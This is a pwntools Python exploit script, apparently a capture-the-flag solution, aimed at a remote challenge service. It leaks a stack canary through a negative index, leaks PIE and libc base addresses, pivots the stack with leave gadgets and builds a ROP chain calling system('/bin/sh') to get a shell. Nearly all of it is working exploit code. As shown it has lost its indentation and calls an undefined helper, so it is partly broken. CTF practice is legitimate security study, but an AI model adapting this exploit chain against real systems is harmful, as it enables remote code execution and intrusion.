1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
debug = 0
if debug:
io = process('./vuln_patched')
else:
io = remote('cloud-middle.hgame.vidar.club', 31603)
def moverflow(cont, dirt):
io.sendlineafter(b'choose> ', b'0')
io.sendafter(b'way> ', cont)
io.sendlineafter(b'distance> ', str(dirt).encode())
def mdelete(idx):
io.sendlineafter(b'choose> ', b'1')
io.sendlineafter(b'index> ', str(idx).encode())
def mshow(idx):
io.sendlineafter(b'choose> ', b'2')
io.sendlineafter(b'index> ', str(idx).encode())
def mdis(idx):
io.sendlineafter(b'choose> ', b'3')
io.sendlineafter(b'index> ', str(idx).encode())
io.sendlineafter(b'distance> ', b'1')
def mexit():
io.sendlineafter(b'choose> ', b'4')
def canary_leak():
mshow(-32768)
io.recvuntil(b': ')
canary = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
log.info(f'canary = {hex(canary)}')
return canary
def mleak(idx, name, offset):
mshow(idx)
io.recvuntil(b': ')
leak = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10)
log.info(f'{name} leak = {hex(leak - offset)}')
libcdict_add(name, leak - offset)
return leak - offset
def attack():
for i in range(201):
mdis(i)
canary = canary_leak()
moverflow(p64(0), 1)
mshow(114)
io.recvuntil(b': ')
pie = int(io.recvuntil(b'\n', drop = True).decode('utf-8'), 10) // 0x10000 - 0x040
log.info(f'pie = {hex(pie)}')
for i in range(201):
mdis(i)
midx = 100
pov_addr = pie + 0x4080 + 0x518 * midx
mdelete(midx)
bss_addr = pie + 0x4040
bss_leaker = bss_addr + 0x3fa
again_addr = pie + 0x14F3
payload = p64(bss_leaker) + p64(again_addr)
moverflow(payload, 1)
mdelete(0)
leave_addr = pie + 0x1721
payload = b'A' * (0x3fa - 0x10) + p64(canary) + b'A' * 8 + p64(pov_addr) + p64(leave_addr)
moverflow(payload, 1)
mdelete(1)
mexit()
io.sendlineafter(b'distance> ', b'1')
midx = 150
pov_addr = pie + 0x4080 + 0x518 * midx
mdelete(midx)
pov_leaker = pie + 0x4080 + 0x510 + 0x3fa
again_addr = pie + 0x14F3
payload = p64(pov_leaker) + p64(again_addr)
moverflow(payload, 1)
mdelete(2)
payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
moverflow(payload, 1)
mexit()
io.sendlineafter(b'distance> ', b'1')
stderr_leak = mleak(0, '_IO_2_1_stderr_', 0)
for i in range(201):
mdis(i)
libc = ELF('./libc.so.6')
libc_base = stderr_leak - libc.symbols['_IO_2_1_stderr_']
log.info(f'libc_base = {hex(libc_base)}')
for i in range(10):
mdis(i)
midx = 10
pov_addr = pie + 0x4080 + 0x518 * midx
rbp_addr = pie + 0x4080 + 0x518 * midx * 2
pop_rdi_ret = libc_base + 0x2a3e5
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
mdelete(midx)
ret_addr = pie + 0x1722
payload = p64(rbp_addr) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
moverflow(payload, 1)
mdelete(0)
payload = b'\x00' * 0x3fa + p64(pov_addr) + p64(leave_addr)
moverflow(payload, 1)
mexit()
io.interactive()
attack()
|